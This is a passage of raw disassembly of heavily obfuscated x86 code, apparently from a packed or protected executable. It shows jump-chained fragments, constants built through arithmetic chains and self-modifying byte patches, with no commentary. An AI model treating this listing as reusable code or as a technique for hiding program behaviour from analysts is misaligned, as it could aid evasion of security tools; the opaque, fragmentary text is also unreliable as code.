loc_423810: ; CODE XREF: sub_42841F-4708j jmp loc_427B02 ; END OF FUNCTION CHUNK FOR sub_42841F ; --------------------------------------------------------------------------- loc_423815: ; DATA XREF: sub_4278EC+5D2o call sub_425EA9 mov edx, 0E5254649h call sub_427C53 mov ds:dword_423944, eax jmp loc_426D87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_42382E: ; CODE XREF: sub_4278EC:loc_427EABj cmp ds:dword_423944, 0 jmp loc_4279E8 ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_42383A: ; CODE XREF: sub_425CB3-17FAj mov ecx, edx xchg ecx, [esp+0] push ecx push 0ED5F6B35h pop ecx jmp loc_427B97 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42384C: ; CODE XREF: sub_42466E+Fj jmp loc_425091 ; END OF FUNCTION CHUNK FOR sub_42466E ; =============== S U B R O U T I N E ======================================= sub_423851 proc near ; DATA XREF: sub_428838+Fo jnz loc_4287D2 push offset sub_4287BF jmp nullsub_116 sub_423851 endp ; --------------------------------------------------------------------------- shr edx, 4 adc edi, 1359C0Ah jmp sub_428B28 ; --------------------------------------------------------------------------- js loc_426992 jmp sub_4275B2 ; =============== S U B R O U T I N E ======================================= sub_42387A proc near ; CODE XREF: hjohnhn9:00426F80j ; sub_427AC0+8F4p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00426685 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004270DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004271B3 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax xchg esi, [esp-4+arg_0] push ecx push 0B4C94AD3h pop ecx sub ecx, 0FA202DA4h and ecx, 24F87E95h jmp loc_4271B3 sub_42387A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428447 loc_423899: ; CODE XREF: sub_428447+12j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_428447 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_42389B: ; CODE XREF: sub_4262C5:loc_42761Cj mov eax, [ebp-4] cmp byte ptr [eax], 0 jnz loc_424E63 mov eax, [ebp-8] loc_4238AA: ; CODE XREF: sub_427C9B:loc_426176j mov byte ptr [eax], 0 mov esp, ebp jmp loc_423F0B ; END OF FUNCTION CHUNK FOR sub_4262C5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_129. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4238B5: ; CODE XREF: sub_423B05+4104j jmp loc_423222 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4238BA: ; CODE XREF: sub_426354-2FFEj mov edi, [ecx] xor ebp, esi shr edx, 7 loc_4238C1: ; CODE XREF: hjohnhn9:loc_423542j adc esi, 528F26C2h jmp loc_427951 ; END OF FUNCTION CHUNK FOR sub_426354 ; =============== S U B R O U T I N E ======================================= sub_4238CC proc near ; CODE XREF: sub_424335:loc_425147p ; hjohnhn9:00426703j ; FUNCTION CHUNK AT 00425FFE SIZE 0000001B BYTES xchg edi, [esp+0] pop edi push eax push 9A99E2F0h pop eax add eax, 0DA55A7E8h sub eax, 0BC0F8EC2h rol eax, 15h jmp loc_425FFE sub_4238CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_4238EB: ; CODE XREF: sub_4236A7-60Dj add ebx, 8083061h add eax, ebx pop ebx mov edi, [eax] add eax, 4 jmp loc_4232B4 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_4238FE: ; CODE XREF: sub_424698:loc_424F4Dj or eax, eax jnz loc_428E1B jmp loc_424153 ; END OF FUNCTION CHUNK FOR sub_424698 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_42390C: ; CODE XREF: sub_427AC0:loc_424251j push eax loc_42390D: ; CODE XREF: hjohnhn9:loc_425DDEj push 89045525h pop eax rol eax, 11h test eax, 2 jmp loc_423B3E ; END OF FUNCTION CHUNK FOR sub_427AC0 ; =============== S U B R O U T I N E ======================================= sub_423921 proc near ; DATA XREF: sub_4241E1+7o mov eax, [ebp-8] mov esp, ebp pop ebp retn sub_423921 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_423928: ; CODE XREF: sub_424698+15CDj jmp loc_425001 ; END OF FUNCTION CHUNK FOR sub_424698 ; =============== S U B R O U T I N E ======================================= sub_42392D proc near ; CODE XREF: sub_4282F8-3B0Ep ; sub_427D9D:loc_424EE0p ... ; FUNCTION CHUNK AT 00424E36 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428AE8 SIZE 00000005 BYTES jns sub_424E4F push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_428AE8 sub_42392D endp ; --------------------------------------------------------------------------- dw 0F9BDh dword_423940 dd 0 ; DATA XREF: hjohnhn9:00423C4Ar ; sub_427A36-1792r ... dword_423944 dd 77E79F93h ; DATA XREF: sub_4235D8+4w ; hjohnhn9:00423824w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278B9 loc_423948: ; CODE XREF: sub_4278B9+18j jmp loc_42340D ; END OF FUNCTION CHUNK FOR sub_4278B9 ; --------------------------------------------------------------------------- db 2Fh, 1Ch, 0C1h dword_423950 dd 0 ; DATA XREF: sub_424161-1035r ; sub_425F93+4w ... dword_423954 dd 0 ; DATA XREF: sub_428788-5170r ; hjohnhn9:loc_423A05r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D38 loc_423958: ; CODE XREF: sub_424D38+3D7Ej jmp nullsub_75 ; END OF FUNCTION CHUNK FOR sub_424D38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_42395D: ; CODE XREF: sub_428477:loc_4267ECj jge loc_424ACA ; END OF FUNCTION CHUNK FOR sub_428477 ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_423963: ; CODE XREF: sub_4237F4+3341j jmp loc_424A46 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- xchg ecx, ebx xor esi, 659A1899h mov [ecx], edx jmp loc_424AC9 ; --------------------------------------------------------------------------- loc_423977: ; CODE XREF: hjohnhn9:004269E1j jg loc_4235C4 adc esi, eax jmp loc_42632C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424928 loc_423984: ; CODE XREF: sub_424928+3D17j ; sub_424928+3D28j or esi, 0FC4A9892h add esi, 1663DA1h xchg esi, [esp+0] jmp loc_428696 ; END OF FUNCTION CHUNK FOR sub_424928 ; --------------------------------------------------------------------------- push offset sub_424B97 jmp loc_4290E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423E64 loc_4239A2: ; CODE XREF: sub_423E64+3471j pushf ror ecx, 1Eh loc_4239A6: ; CODE XREF: sub_423E64:loc_423CF0j push offset sub_427440 jmp locret_4232D0 ; END OF FUNCTION CHUNK FOR sub_423E64 ; --------------------------------------------------------------------------- loc_4239B0: ; CODE XREF: hjohnhn9:loc_423408j cmp eax, [ebp-14h] jb loc_426B3A mov eax, [ebp-10h] mov eax, [eax+64h] add eax, [ebp-14h] cmp eax, [ebp-0Ch] ja loc_42300D jmp loc_426B3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4239D0: ; CODE XREF: sub_428477:loc_4252C8j mov [ebp+var_4], eax loc_4239D3: ; CODE XREF: sub_423E64+Cj ; sub_4260BD-12FCj ... dec ds:dword_4233C4 mov eax, [ebp+var_4] push offset loc_4281A2 jmp loc_424E8F ; END OF FUNCTION CHUNK FOR sub_428477 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4239E7: ; CODE XREF: hjohnhn9:00427685j jmp sub_428192 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_4239EC: ; CODE XREF: sub_427994:loc_4261F1j sub eax, 505B6FF8h xor eax, 82A55006h add eax, ebp add eax, 0A9B1D40h jmp loc_42678E ; END OF FUNCTION CHUNK FOR sub_427994 ; --------------------------------------------------------------------------- loc_423A05: ; DATA XREF: sub_423425+4EB4o cmp ds:dword_423954, 0 jnz loc_42879B call nullsub_2 call sub_424877 mov edx, 0CF0182F6h call sub_427C53 jmp loc_42846D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423A2B: ; CODE XREF: sub_423B05-A2Aj jp loc_427BF3 loc_423A31: ; CODE XREF: sub_423B05:loc_4230CEj call sub_424877 mov edx, 3CC6743Ch call sub_4279ED jmp loc_428C49 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- js loc_423DAF jmp sub_423BC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_423A50: ; CODE XREF: sub_4260BD:loc_427431j push 538ACF62h pop ebx sub ebx, 4907E7DAh or ebx, 0B92D1335h xor ebx, 1E0EA8B3h add ebx, ebp add ebx, 5A5EA0EEh jmp loc_42498B ; END OF FUNCTION CHUNK FOR sub_4260BD ; =============== S U B R O U T I N E ======================================= sub_423A75 proc near ; CODE XREF: sub_427564+13B9j ; FUNCTION CHUNK AT 00426C69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004271B8 SIZE 00000017 BYTES push ebx push 482FEEA0h or ebx, esi jmp loc_426C69 sub_423A75 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423A82: ; CODE XREF: sub_42325E:loc_4276F7j jz loc_42520B jmp loc_426F50 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- js loc_424CD3 jmp sub_42362A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_423A98: ; CODE XREF: sub_427564:loc_428B22j sub edx, 9C16CC78h jns loc_428912 jz loc_423D06 jmp loc_427D81 ; END OF FUNCTION CHUNK FOR sub_427564 ; =============== S U B R O U T I N E ======================================= sub_423AAF proc near ; CODE XREF: sub_4265CD:loc_424449j ; sub_4265CD-857j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004246BB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428027 SIZE 00000005 BYTES push ebp mov ebp, esi xchg ebp, [esp+4+var_4] push 0FC272739h pop esi sub esi, 945F967Eh or esi, 1A7F9951h sub esi, 0F7809293h jmp loc_4246BB sub_423AAF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_423AD2: ; CODE XREF: sub_424698+42A8j jz loc_428E07 add ebp, 40DAFCE5h or ebx, 44198AFDh loc_423AE4: ; CODE XREF: sub_427994:loc_427904j call sub_4245BA ; END OF FUNCTION CHUNK FOR sub_424698 ; START OF FUNCTION CHUNK FOR sub_425029 loc_423AE9: ; CODE XREF: sub_425029:loc_42737Bj add [ebp-8], eax call sub_42865B loc_423AF1: ; CODE XREF: hjohnhn9:0042664Aj test ebx, eax jmp loc_428823 ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- push esi add esi, 61FD5CF9h jmp sub_428838 ; --------------------------------------------------------------------------- loc_423B04: ; CODE XREF: hjohnhn9:00425F8Ej pop ecx ; =============== S U B R O U T I N E ======================================= sub_423B05 proc near ; CODE XREF: sub_4270CF+583p ; FUNCTION CHUNK AT 004230CE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00423222 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004233E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423505 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00423648 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004238B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423A2B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00423C5B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424414 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00424B45 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004250B4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425252 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00425E64 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004263DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004275E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A44 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00427BF3 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00427EE2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004285EB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042862B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428C49 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428D80 SIZE 00000023 BYTES xchg eax, [esp+0] pop eax mov esp, ebp pop ebp mov eax, ds:dword_428398 or eax, eax jnz loc_424414 jmp loc_424B45 sub_423B05 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423B1F: ; CODE XREF: sub_4262C5:loc_423F0Bj call sub_424E5D loc_423B24: ; CODE XREF: sub_424631:loc_428BE3j cdq rol eax, 11h jmp loc_428B61 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- or edi, 0E54D5516h jmp loc_42432F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423B39: ; CODE XREF: hjohnhn9:00424281j jmp locret_4232E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_423B3E: ; CODE XREF: sub_427AC0-41A4j jmp loc_424D04 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- push ebx mov ebx, edi ; START OF FUNCTION CHUNK FOR sub_42325E loc_423B46: ; CODE XREF: sub_42325E:loc_424E6Bj xchg ebx, [esp+0] mov edi, eax jmp loc_423DF6 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423B50: ; CODE XREF: sub_424161+43A4j push eax call sub_426708 push 724752F0h xchg ebp, [esp+0Ch+var_C] jmp loc_426655 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- loc_423B63: ; DATA XREF: sub_423CCD:loc_427288o add dword ptr [ebp-8], 2 jmp loc_426996 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423B6C proc near ; CODE XREF: sub_424A78+19Ep ; sub_427FCE+4p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00426C2E SIZE 00000013 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_426C2E sub_423B6C endp ; --------------------------------------------------------------------------- push eax mov eax, ebx push offset sub_425C4B jmp loc_425D6A ; =============== S U B R O U T I N E ======================================= sub_423B84 proc near ; CODE XREF: sub_424161-1D5j xchg ecx, [esp+0] pop ecx add ebx, 82E94C6Ah mov [ebx], eax pop ebx retn sub_423B84 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D0E loc_423B92: ; CODE XREF: sub_428D0E-ECj jmp loc_4277C5 ; END OF FUNCTION CHUNK FOR sub_428D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278F6 loc_423B97: ; CODE XREF: sub_4278F6+9j jmp nullsub_33 ; END OF FUNCTION CHUNK FOR sub_4278F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423B9C: ; CODE XREF: sub_426708-544j ; sub_424631+3B0Bj call sub_427166 loc_423BA1: ; CODE XREF: sub_423B05+175Ej mov [edx-10h], eax inc dword ptr [ebp-4] mov eax, [ebp+8] mov eax, [eax-10h] shr eax, 6 mov [ebp-10h], eax jmp loc_426650 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_423BB8: ; CODE XREF: sub_42466E+571j jg loc_424033 jmp loc_424008 ; END OF FUNCTION CHUNK FOR sub_42466E ; =============== S U B R O U T I N E ======================================= sub_423BC3 proc near ; CODE XREF: hjohnhn9:00423A4Bj ; sub_427440+4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00423388 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004236BB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004241BE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042465F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424C7B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424FE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425F6E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004260F9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00426A84 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042713A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427825 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00427A7E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428C84 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00428F9F SIZE 00000020 BYTES xchg ebx, [esp+0] pop ebx push 0CA17F4Ah pop edx rol edx, 15h and edx, 5FE7D04h xor edx, 107BF9A6h test edx, 10h jmp loc_4236BB sub_423BC3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423369 loc_423BE7: ; CODE XREF: sub_423369+1Aj mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_423369 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_423BF1: ; CODE XREF: sub_4260BD+2F7Cj jmp loc_426EE5 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_423BF6: ; CODE XREF: sub_4236A7+Ej jmp loc_425D7B ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- loc_423BFB: ; DATA XREF: sub_423369+14o xor eax, eax jmp loc_424728 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_423C02: ; CODE XREF: sub_424819-7F2j test ebx, 2000h jmp loc_426B97 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423C0D: ; CODE XREF: sub_4262C5+1D80j jz loc_423551 sbb ecx, edx jmp loc_4264E3 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D99 loc_423C1A: ; CODE XREF: sub_424D99:loc_424003j jl loc_423EFA sub ecx, edx push 0AEFB675Bh xchg ecx, [esi] jmp loc_423EF4 ; END OF FUNCTION CHUNK FOR sub_424D99 ; --------------------------------------------------------------------------- test edx, 0DE971895h jmp loc_428351 ; --------------------------------------------------------------------------- loc_423C39: ; CODE XREF: hjohnhn9:00424467j test ebp, 3E5EE592h jmp loc_427480 ; --------------------------------------------------------------------------- loc_423C44: ; DATA XREF: sub_428E65+7o jz loc_427EAB mov eax, ds:dword_423940 mov eax, [eax] call sub_4235D8 ; START OF FUNCTION CHUNK FOR sub_42677F loc_423C56: ; CODE XREF: sub_42677F+Aj jmp loc_427F33 ; END OF FUNCTION CHUNK FOR sub_42677F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423C5B: ; CODE XREF: sub_423B05-4B5j jo loc_423659 jnb loc_4267FC loc_423C67: ; CODE XREF: sub_423B05:loc_42862Bj push 7A23220Ah pop eax jmp loc_4275E9 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- loc_423C72: ; CODE XREF: hjohnhn9:loc_428621j mov eax, [ebp-20h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] push offset sub_426F5A jmp loc_428ECB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284CB loc_423C85: ; CODE XREF: sub_4284CB:loc_42655Cj cmp byte ptr [eax], 0EBh call sub_4231AD loc_423C8D: ; DATA XREF: sub_424161-294o mov [ebp-20h], eax ; END OF FUNCTION CHUNK FOR sub_4284CB ; START OF FUNCTION CHUNK FOR sub_424161 loc_423C90: ; CODE XREF: sub_424161+Ej ; sub_426C1C+Dj ... mov eax, [ebp-20h] sub eax, [ebp-28h] mov [ebp-24h], eax mov eax, [ebp-24h] jmp loc_426E7A ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_423CA1: ; CODE XREF: sub_4260BD-172Cj push 78C9D3B0h pop ebx or ebx, 49478D09h xor ebx, 2FC1EEDBh sub ebx, 898416F6h cmp ebx, 0DEADBCE0h jmp loc_42409B ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423CC4: ; CODE XREF: sub_424161:loc_426E7Aj mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D67 loc_423CC8: ; CODE XREF: sub_423D67+1Bj jmp loc_4236E4 ; END OF FUNCTION CHUNK FOR sub_423D67 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CCD proc near ; CODE XREF: sub_426C1C+4p ; sub_424161+446Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004271DA SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00427272 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427B92 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax jmp loc_427B92 sub_423CCD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423CDB proc near ; CODE XREF: hjohnhn9:00426B74j ; sub_4289B2:loc_4289BBp ; FUNCTION CHUNK AT 0042407B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424BB4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424CA5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425076 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425EFB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426268 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426762 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004267F1 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00426B13 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426B1F SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00426D2F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00427449 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B9C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004283F7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042869B SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00428851 SIZE 00000020 BYTES xchg eax, [esp+0] pop eax mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jmp loc_4267F1 sub_423CDB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423E64 loc_423CF0: ; CODE XREF: sub_423E64+12j jnz loc_4239A6 jmp loc_4272D3 ; END OF FUNCTION CHUNK FOR sub_423E64 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423CFC: ; CODE XREF: hjohnhn9:0042307Cj ; hjohnhn9:00424277j xor ebx, ecx and ebx, 0B4897EE5h xchg edx, [ecx] ; START OF FUNCTION CHUNK FOR sub_427564 loc_423D06: ; CODE XREF: sub_427564-3AC0j ; hjohnhn9:loc_42426Bj xor ecx, 36F2DCB7h jmp loc_42901D ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42841F loc_423D11: ; CODE XREF: sub_42841F+12j jz loc_42658E jmp loc_423810 ; END OF FUNCTION CHUNK FOR sub_42841F ; =============== S U B R O U T I N E ======================================= sub_423D1C proc near ; DATA XREF: hjohnhn9:0042427Co ; FUNCTION CHUNK AT 0042415E SIZE 00000003 BYTES push eax ror eax, 1Ah push edi call sub_426211 and edi, 9193273h jmp loc_42415E sub_423D1C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423D33: ; CODE XREF: hjohnhn9:00426263j jmp loc_426D32 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD "+" TO EXPAND] db 31h, 1, 0 dd 264E800h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_423D42: ; CODE XREF: sub_4279C0+3j jmp loc_4249CC ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_423D47: ; CODE XREF: sub_426A78+10B8j jz loc_425F1B adc eax, ebp jmp loc_425F15 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_423D54: ; CODE XREF: sub_4278DC:loc_424C01j adc ebx, 6A4E96E7h js loc_427A24 xor esi, edi jmp loc_427B35 ; END OF FUNCTION CHUNK FOR sub_4278DC ; =============== S U B R O U T I N E ======================================= sub_423D67 proc near ; DATA XREF: hjohnhn9:00429046o var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423201 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004236E4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00423CC8 SIZE 00000005 BYTES push edi push 1FC6F0D5h xchg ebp, [esp+0] mov edi, ebp pop ebp xor edi, 0C19381B4h loc_423D79: ; CODE XREF: hjohnhn9:loc_426CF5j rol edi, 1Eh loc_423D7C: ; CODE XREF: hjohnhn9:loc_424EC3j and edi, 12212D66h jmp loc_423CC8 sub_423D67 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_423D87: ; DATA XREF: sub_423B05+3F49o mov [ebp-4], eax push 5076CEAEh pop eax add eax, 982C40ADh sub eax, 33BDC7FFh jmp loc_4274A4 ; --------------------------------------------------------------------------- test edx, ecx jmp loc_428A5B ; --------------------------------------------------------------------------- loc_423DA8: ; DATA XREF: sub_4237F4+1461o mov [ebp-0Ch], eax cmp dword ptr [ebp-10h], 0 loc_423DAF: ; CODE XREF: hjohnhn9:00423A45j jnz loc_424F28 cmp dword ptr [ebp-0Ch], 5 jnz loc_424F28 mov eax, [ebp+8] call sub_424F20 shr ecx, 9 jmp loc_425C93 ; --------------------------------------------------------------------------- loc_423DCF: ; CODE XREF: hjohnhn9:0042508Cj lea eax, nullsub_1 mov byte ptr [eax], 0C3h push ecx push 0D50AC7F6h pop ecx xor ecx, 0E03A3CE0h add ecx, 0BA522053h cmp ecx, 75766663h jmp loc_42426B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423DF6: ; CODE XREF: sub_42325E+8EDj xchg edi, [esp+0] ror eax, 11h call sub_42636C loc_423E01: ; CODE XREF: hjohnhn9:00428059j jmp loc_428372 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- word_423E06 dw 0E0C1h ; DATA XREF: sub_42304F+1D40o dd 0EC558B02h, 31C528Bh, 0A5E9FC55h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428E98 loc_423E17: ; CODE XREF: sub_428E98+Dj jbe loc_426E02 ja loc_42707F xor esi, edi ; END OF FUNCTION CHUNK FOR sub_428E98 ; START OF FUNCTION CHUNK FOR sub_428CC9 loc_423E25: ; CODE XREF: sub_428CC9:loc_4288C9j push 3C38EEE8h pop eax jmp loc_425B86 ; END OF FUNCTION CHUNK FOR sub_428CC9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E54 loc_423E31: ; CODE XREF: sub_427E54-3D20j jmp loc_428EE5 ; END OF FUNCTION CHUNK FOR sub_427E54 ; 